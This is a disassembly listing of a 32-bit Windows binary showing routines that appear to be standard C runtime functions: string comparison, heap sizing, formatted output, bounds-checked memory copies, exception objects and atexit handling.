; ---------------------------------------------------------------------------

loc_402D0B:				; CODE XREF: sub_402CB9+22j
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jz	short loc_402CDD
		mov	esi, 7FFFFFFFh
		cmp	[ebp+arg_8], esi
		jbe	short loc_402D44
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_402D40
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_402D40:				; CODE XREF: sub_402CB9+7Ej
		mov	eax, esi
		jmp	short loc_402DA4
; ---------------------------------------------------------------------------

loc_402D44:				; CODE XREF: sub_402CB9+61j
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_402D69
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_405BD0
		add	esp, 0Ch

loc_402D5B:				; CODE XREF: sub_402CB9+E7j
		cmp	[ebp+var_4], bl
		jz	short loc_402DA4
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_402DA4
; ---------------------------------------------------------------------------

loc_402D69:				; CODE XREF: sub_402CB9+91j
					; sub_402CB9+E1j
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_405A0A
		inc	[ebp+arg_0]
		mov	esi, eax
		movzx	eax, byte ptr [edi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_405A0A
		add	esp, 10h
		inc	edi
		dec	[ebp+arg_8]
		jz	short loc_402D9C
		cmp	esi, ebx
		jz	short loc_402D9C
		cmp	esi, eax
		jz	short loc_402D69

loc_402D9C:				; CODE XREF: sub_402CB9+D9j
					; sub_402CB9+DDj
		sub	esi, eax
		mov	eax, esi
		jmp	short loc_402D5B
; ---------------------------------------------------------------------------

loc_402DA2:				; CODE XREF: sub_402CB9+Ej
		xor	eax, eax

loc_402DA4:				; CODE XREF: sub_402CB9+4Dj
					; sub_402CB9+89j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402CB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402DA9	proc near		; CODE XREF: sub_41A28F+D3p
					; sub_41A45D+176p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_427820, esi
		jnz	short loc_402DF0
		cmp	[ebp+arg_0], esi
		jnz	short loc_402DDB

loc_402DBC:				; CODE XREF: sub_402DA9+35j
					; sub_402DA9+3Ej
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		mov	eax, 7FFFFFFFh
		jmp	short loc_402E02
; ---------------------------------------------------------------------------

loc_402DDB:				; CODE XREF: sub_402DA9+11j
		cmp	[ebp+arg_4], esi
		jz	short loc_402DBC
		cmp	[ebp+arg_8], 7FFFFFFFh
		ja	short loc_402DBC
		pop	esi
		pop	ebp
		jmp	sub_405BD0
; ---------------------------------------------------------------------------

loc_402DF0:				; CODE XREF: sub_402DA9+Cj
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402CB9
		add	esp, 10h

loc_402E02:				; CODE XREF: sub_402DA9+30j
		pop	esi
		pop	ebp
		retn
sub_402DA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402E05	proc near		; CODE XREF: sub_401C1D+1Ep
					; sub_401C1D+40p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset dword_421618
		call	__SEH_prolog4
		xor	eax, eax
		mov	ebx, [ebp+arg_0]
		xor	edi, edi
		cmp	ebx, edi
		setnz	al
		cmp	eax, edi
		jnz	short loc_402E3E
		call	sub_405B83
		mov	dword ptr [eax], 16h
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_402E91
; ---------------------------------------------------------------------------

loc_402E3E:				; CODE XREF: sub_402E05+1Aj
		cmp	dword_436854, 3
		jnz	short loc_402E7F
		push	4
		call	sub_405DA7
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_405ED5
		pop	ecx
		mov	[ebp+var_20], eax
		cmp	eax, edi
		jz	short loc_402E6B
		mov	esi, [ebx-4]
		sub	esi, 9
		mov	[ebp+var_1C], esi
		jmp	short loc_402E6E
; ---------------------------------------------------------------------------

loc_402E6B:				; CODE XREF: sub_402E05+59j
		mov	esi, [ebp+var_1C]

loc_402E6E:				; CODE XREF: sub_402E05+64j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_402E9F
		cmp	[ebp+var_20], edi
		jnz	short loc_402E8F

loc_402E7F:				; CODE XREF: sub_402E05+40j
		push	ebx
		push	edi
		push	dword_4279A8
		call	ds:dword_41D190	; RtlSizeHeap
		mov	esi, eax

loc_402E8F:				; CODE XREF: sub_402E05+78j
		mov	eax, esi

loc_402E91:				; CODE XREF: sub_402E05+37j
		call	__SEH_epilog4
		retn
sub_402E05	endp


; =============== S U B	R O U T	I N E =======================================



sub_402E97	proc near		; DATA XREF: c.7ld2ih:00421630o
		xor	edi, edi
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_402E97	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402E9F	proc near		; CODE XREF: sub_402E05+70p
		push	4
		call	sub_405CCF
		pop	ecx
		retn
sub_402E9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402EA8	proc near		; CODE XREF: sub_41A690+54p
		jmp	ds:dword_41D194
sub_402EA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402EAE	proc near		; CODE XREF: sub_40177B+FEp
					; sub_40177B+12Fp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		jnz	short loc_402ED9
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_402F58
; ---------------------------------------------------------------------------

loc_402ED9:				; CODE XREF: sub_402EAE+Cj
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		jz	short loc_402F05
		cmp	esi, ebx
		jnz	short loc_402F05
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_402F57
; ---------------------------------------------------------------------------

loc_402F05:				; CODE XREF: sub_402EAE+34j
					; sub_402EAE+38j
		mov	eax, 7FFFFFFFh
		cmp	ecx, eax
		mov	[ebp+var_1C], eax
		ja	short loc_402F14
		mov	[ebp+var_1C], ecx

loc_402F14:				; CODE XREF: sub_402EAE+61j
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_406D87
		add	esp, 10h
		cmp	esi, ebx
		mov	edi, eax
		jz	short loc_402F56
		dec	[ebp+var_1C]
		js	short loc_402F48
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_402F54
; ---------------------------------------------------------------------------

loc_402F48:				; CODE XREF: sub_402EAE+91j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_406B86
		pop	ecx
		pop	ecx

loc_402F54:				; CODE XREF: sub_402EAE+98j
		mov	eax, edi

loc_402F56:				; CODE XREF: sub_402EAE+8Cj
		pop	edi

loc_402F57:				; CODE XREF: sub_402EAE+55j
		pop	esi

loc_402F58:				; CODE XREF: sub_402EAE+29j
		pop	ebx
		leave
		retn
sub_402EAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402F5B	proc near		; CODE XREF: sub_401C1D+CFp
					; sub_417776+15Fp ...
		jmp	sub_40332D
sub_402F5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402F60	proc near		; CODE XREF: sub_40101C+Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_C]
		push	esi
		push	edi
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_402FB5
		cmp	[ebp+arg_0], edi
		jnz	short loc_402F8E

loc_402F73:				; CODE XREF: sub_402F60+31j
		call	sub_405B83
		push	16h
		pop	esi
		mov	[eax], esi

loc_402F7D:				; CODE XREF: sub_402F60+44j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_402FB7
; ---------------------------------------------------------------------------

loc_402F8E:				; CODE XREF: sub_402F60+11j
		cmp	[ebp+arg_8], edi
		jz	short loc_402F73
		cmp	[ebp+arg_4], eax
		jnb	short loc_402FA6
		call	sub_405B83
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_402F7D
; ---------------------------------------------------------------------------

loc_402FA6:				; CODE XREF: sub_402F60+36j
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_407720
		add	esp, 0Ch

loc_402FB5:				; CODE XREF: sub_402F60+Cj
		xor	eax, eax

loc_402FB7:				; CODE XREF: sub_402F60+2Cj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_402F60	endp


; =============== S U B	R O U T	I N E =======================================



sub_402FBB	proc near		; CODE XREF: sub_401065+11p
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax+8], 0
		mov	dword ptr [eax], offset	off_41D37C
		retn
sub_402FBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_402FCC	proc near		; CODE XREF: sub_4015ED+2Fp
					; sub_40BDB6+15Dp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi], offset	off_41D37C
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_403007
		push	eax
		call	sub_4044E0
		mov	esi, eax
		inc	esi
		push	esi
		call	sub_403AA0
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[edi+4], eax
		jz	short loc_40300B
		push	dword ptr [ebx]
		push	esi
		push	eax
		call	sub_407A85
		add	esp, 0Ch
		jmp	short loc_40300B
; ---------------------------------------------------------------------------

loc_403007:				; CODE XREF: sub_402FCC+13j
		and	dword ptr [edi+4], 0

loc_40300B:				; CODE XREF: sub_402FCC+2Bj
					; sub_402FCC+39j
		mov	dword ptr [edi+8], 1
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_402FCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40301A	proc near		; CODE XREF: sub_4033F2+Ap

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dword ptr [eax], offset	off_41D37C
		mov	ecx, [ecx]
		and	dword ptr [eax+8], 0
		mov	[eax+4], ecx
		retn	8
sub_40301A	endp


; =============== S U B	R O U T	I N E =======================================



sub_403032	proc near		; CODE XREF: sub_4013E6+15p
					; sub_4015ED+51p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41D37C
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		test	eax, eax
		mov	eax, [ebx+4]
		push	edi
		jz	short loc_40307F
		test	eax, eax
		jz	short loc_403079
		push	eax
		call	sub_4044E0
		mov	edi, eax
		inc	edi
		push	edi
		call	sub_403AA0
		test	eax, eax
		pop	ecx
		pop	ecx
		mov	[esi+4], eax
		jz	short loc_403082
		push	dword ptr [ebx+4]
		push	edi
		push	eax
		call	sub_407A85
		add	esp, 0Ch
		jmp	short loc_403082
; ---------------------------------------------------------------------------

loc_403079:				; CODE XREF: sub_403032+1Ej
		and	dword ptr [esi+4], 0
		jmp	short loc_403082
; ---------------------------------------------------------------------------

loc_40307F:				; CODE XREF: sub_403032+1Aj
		mov	[esi+4], eax

loc_403082:				; CODE XREF: sub_403032+36j
					; sub_403032+45j ...
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_403032	endp


; =============== S U B	R O U T	I N E =======================================



sub_40308A	proc near		; CODE XREF: sub_401038+6j
					; .text:0040104Cp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_41D37C
		jz	short locret_40309F
		push	dword ptr [ecx+4]
		call	sub_4039C3
		pop	ecx

locret_40309F:				; CODE XREF: sub_40308A+Aj
		retn
sub_40308A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4030A0	proc near		; DATA XREF: c.7ld2ih:0041D328o
					; c.7ld2ih:0041D380o ...
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4030AC
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4030AC:				; CODE XREF: sub_4030A0+5j
		retn
sub_4030A0	endp

; ---------------------------------------------------------------------------

loc_4030AD:				; DATA XREF: c.7ld2ih:off_41D37Co
		push	esi
		mov	esi, ecx
		call	sub_40308A
		test	byte ptr [esp+8], 1
		jz	short loc_4030C3
		push	esi
		call	sub_40332D
		pop	ecx

loc_4030C3:				; CODE XREF: .text:004030BAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4030C9	proc near		; CODE XREF: sub_4031A5+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	dword_436830
		call	sub_405543
		push	dword_43682C
		mov	esi, eax
		mov	[esp+1Ch+var_4], esi
		call	sub_405543
		mov	edi, eax
		cmp	edi, esi
		pop	ecx
		pop	ecx
		jb	short loc_40316E
		mov	ebx, edi
		sub	ebx, esi
		lea	ebp, [ebx+4]
		cmp	ebp, 4
		jb	short loc_40316E
		push	esi
		call	sub_402E05
		mov	esi, eax
		cmp	esi, ebp
		pop	ecx
		jnb	short loc_403155
		mov	eax, 800h
		cmp	esi, eax
		jnb	short loc_403116
		mov	eax, esi

loc_403116:				; CODE XREF: sub_4030C9+49j
		add	eax, esi
		cmp	eax, esi
		jb	short loc_40312C
		push	eax
		push	[esp+18h+var_4]
		call	sub_407B72
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403143

loc_40312C:				; CODE XREF: sub_4030C9+51j
		lea	eax, [esi+10h]
		cmp	eax, esi
		jb	short loc_40316E
		push	eax
		push	[esp+18h+var_4]
		call	sub_407B72
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40316E

loc_403143:				; CODE XREF: sub_4030C9+61j
		sar	ebx, 2
		push	eax
		lea	edi, [eax+ebx*4]
		call	sub_4054D7
		pop	ecx
		mov	dword_436830, eax

loc_403155:				; CODE XREF: sub_4030C9+40j
		mov	esi, [esp+14h+arg_0]
		mov	[edi], esi
		add	edi, 4
		push	edi
		call	sub_4054D7
		mov	dword_43682C, eax
		pop	ecx
		mov	eax, esi
		jmp	short loc_403170
; ---------------------------------------------------------------------------

loc_40316E:				; CODE XREF: sub_4030C9+27j
					; sub_4030C9+33j ...
		xor	eax, eax

loc_403170:				; CODE XREF: sub_4030C9+A3j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4030C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_403176	proc near		; DATA XREF: c.7ld2ih:0041D2D4o
		push	esi
		push	4
		push	20h
		call	sub_407B2A
		mov	esi, eax
		push	esi
		call	sub_4054D7
		add	esp, 0Ch
		test	esi, esi
		mov	dword_436830, eax
		mov	dword_43682C, eax
		jnz	short loc_40319E
		push	18h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40319E:				; CODE XREF: sub_403176+21j
		and	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
sub_403176	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4031A5	proc near		; CODE XREF: sub_4031E1+4p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_421638
		call	__SEH_prolog4
		call	sub_407C6C
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_0]
		call	sub_4030C9
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4031DB
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_4031A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031DB	proc near		; CODE XREF: sub_4031A5+28p
					; DATA XREF: c.7ld2ih:00421650o
		call	sub_407C75
		retn
sub_4031DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031E1	proc near		; CODE XREF: sub_40340B+45p
					; sub_407D29+44p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4031A5
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ecx
		dec	eax
		retn
sub_4031E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031F3	proc near		; CODE XREF: sub_407EC9+15p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4274C0, eax
		retn
sub_4031F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=2A8h


sub_4031FD	proc near		; CODE XREF: sub_4032F9+1Fj
					; sub_405DD8+21p ...

var_328		= dword	ptr -328h
var_31C		= dword	ptr -31Ch
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_244		= word ptr -244h
var_240		= word ptr -240h
var_23C		= word ptr -23Ch
var_238		= word ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= word ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= word ptr -208h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-2A8h]
		sub	esp, 328h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+2A8h+var_4], eax
		push	esi
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_407F20
		lea	eax, [ebp+2A8h+var_328]
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_328], 0C000000Dh
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	ds:off_41D08C
		push	0
		mov	esi, eax
		call	ds:dword_41D19C	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	ds:off_41D198
		test	eax, eax
		jnz	short loc_4032D1
		test	esi, esi
		jnz	short loc_4032D1
		push	2
		call	sub_407F15
		pop	ecx

loc_4032D1:				; CODE XREF: sub_4031FD+C6j
					; sub_4031FD+CAj
		push	0C000000Dh
		call	ds:dword_41D0C8	; GetCurrentProcess
		push	eax
		call	ds:off_41D0F4
		mov	ecx, [ebp+2A8h+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_402AD0
		add	ebp, 2A8h
		leave
		retn
sub_4031FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032F9	proc near		; CODE XREF: sub_402B96+29p
					; sub_402B96+5Fp ...
		push	ebp
		mov	ebp, esp
		push	dword_4274C0
		call	sub_405543
		test	eax, eax
		pop	ecx
		jz	short loc_40330F
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------

loc_40330F:				; CODE XREF: sub_4032F9+11j
		push	2
		call	sub_407F15
		pop	ecx
		pop	ebp
		jmp	sub_4031FD
sub_4032F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40331D	proc near		; CODE XREF: sub_40164F+5p
					; sub_40164F+14p ...
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		call	sub_4032F9
		add	esp, 14h
		retn
sub_40331D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40332D	proc near		; CODE XREF: .text:00401059p
					; .text:004010D5p ...
		jmp	sub_4039C3
sub_40332D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403332	proc near		; CODE XREF: sub_401000+Fp
					; sub_403EE2+84p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_C]
		push	edi
		xor	edi, edi
		cmp	esi, edi
		jnz	short loc_403344

loc_403340:				; CODE XREF: sub_403332+4Bj
		xor	eax, eax
		jmp	short loc_4033A9
; ---------------------------------------------------------------------------

loc_403344:				; CODE XREF: sub_403332+Cj
		cmp	[ebp+arg_0], edi
		jnz	short loc_403364

loc_403349:				; CODE XREF: sub_403332+5Fj
		call	sub_405B83
		push	16h
		pop	esi
		mov	[eax], esi

loc_403353:				; CODE XREF: sub_403332+72j
		push	edi
		push	edi
		push	edi
		push	edi
		push	edi
		call	sub_4032F9
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_4033A9
; ---------------------------------------------------------------------------

loc_403364:				; CODE XREF: sub_403332+15j
		cmp	[ebp+arg_8], edi
		jz	short loc_40337F
		cmp	[ebp+arg_4], esi
		jb	short loc_40337F
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_407FA0
		add	esp, 0Ch
		jmp	short loc_403340
; ---------------------------------------------------------------------------

loc_40337F:				; CODE XREF: sub_403332+35j
					; sub_403332+3Aj
		push	[ebp+arg_4]
		push	edi
		push	[ebp+arg_0]
		call	sub_407F20
		add	esp, 0Ch
		cmp	[ebp+arg_8], edi
		jz	short loc_403349
		cmp	[ebp+arg_4], esi
		jnb	short loc_4033A6
		call	sub_405B83
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_403353
; ---------------------------------------------------------------------------

loc_4033A6:				; CODE XREF: sub_403332+64j
		push	16h
		pop	eax

loc_4033A9:				; CODE XREF: sub_403332+10j
					; sub_403332+30j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_403332	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033AD	proc near		; CODE XREF: .text:004033BEp
		push	ecx
		mov	dword ptr [ecx], offset	off_41D39C
		call	sub_408305
		pop	ecx
		retn
sub_4033AD	endp

; ---------------------------------------------------------------------------

loc_4033BB:				; DATA XREF: c.7ld2ih:off_41D39Co
		push	esi
		mov	esi, ecx
		call	sub_4033AD
		test	byte ptr [esp+8], 1
		jz	short loc_4033D1
		push	esi
		call	sub_40332D
		pop	ecx

loc_4033D1:				; CODE XREF: .text:004033C8j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4033D7	proc near		; CODE XREF: sub_40BDB6+12Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	ecx, 9
		push	ecx
		add	eax, 9
		push	eax
		call	sub_408380
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		retn	4
sub_4033D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4033F2	proc near		; CODE XREF: sub_40340B+3Bp
		push	esi
		push	1
		push	offset off_423048
		mov	esi, ecx
		call	sub_40301A
		mov	dword ptr [esi], offset	off_41D324
		mov	eax, esi
		pop	esi
		retn
sub_4033F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40340B	proc near		; CODE XREF: sub_401291+5p
					; sub_401395+5p ...

var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		jmp	short loc_403420
; ---------------------------------------------------------------------------

loc_403413:				; CODE XREF: sub_40340B+20j
		push	[ebp+arg_0]
		call	sub_408412
		test	eax, eax
		pop	ecx
		jz	short loc_40342F

loc_403420:				; CODE XREF: sub_40340B+6j
		push	[ebp+arg_0]
		call	sub_403AA0
		test	eax, eax
		pop	ecx
		jz	short loc_403413
		leave
		retn
; ---------------------------------------------------------------------------

loc_40342F:				; CODE XREF: sub_40340B+13j
		test	byte ptr dword_4274D0, 1
		mov	esi, offset dword_4274C4
		jnz	short loc_403456
		or	dword_4274D0, 1
		mov	ecx, esi
		call	sub_4033F2
		push	offset loc_41CD31
		call	sub_4031E1
		pop	ecx

loc_403456:				; CODE XREF: sub_40340B+30j
		push	esi
		lea	ecx, [ebp+var_C]
		call	sub_403032
		push	offset dword_421CD0
		lea	eax, [ebp+var_C]
		push	eax
		mov	[ebp+var_C], offset off_41D324
		call	sub_40456B
		int	3		; Trap to Debugger
sub_40340B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403475	proc near		; CODE XREF: sub_4198AD+84p
					; sub_4198AD+102p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		jnz	short loc_4034A0

loc_403483:				; CODE XREF: sub_403475+30j
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_4034ED
; ---------------------------------------------------------------------------

loc_4034A0:				; CODE XREF: sub_403475+Cj
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_403483
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	ebx
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		call	sub_406D87
		add	esp, 10h
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4034DE
		mov	eax, [ebp+var_20]
		mov	[eax], bl
		jmp	short loc_4034EA
; ---------------------------------------------------------------------------

loc_4034DE:				; CODE XREF: sub_403475+60j
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_406B86
		pop	ecx
		pop	ecx

loc_4034EA:				; CODE XREF: sub_403475+67j
		mov	eax, esi
		pop	esi

loc_4034ED:				; CODE XREF: sub_403475+29j
		pop	ebx
		leave
		retn
sub_403475	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034F0	proc near		; CODE XREF: sub_4035B4+Ap

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	0Ch
		push	offset dword_421658
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		xor	eax, eax
		mov	edi, [ebp+arg_0]
		cmp	edi, ebx
		setnz	al
		cmp	eax, ebx
		jnz	short loc_40352B

loc_40350F:				; CODE XREF: sub_4034F0+47j
					; sub_4034F0+52j
		call	sub_405B83
		mov	dword ptr [eax], 16h
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_4032F9
		add	esp, 14h

loc_403527:				; CODE XREF: sub_4034F0+6Bj
					; sub_4034F0+92j
		xor	eax, eax
		jmp	short loc_4035A4
; ---------------------------------------------------------------------------

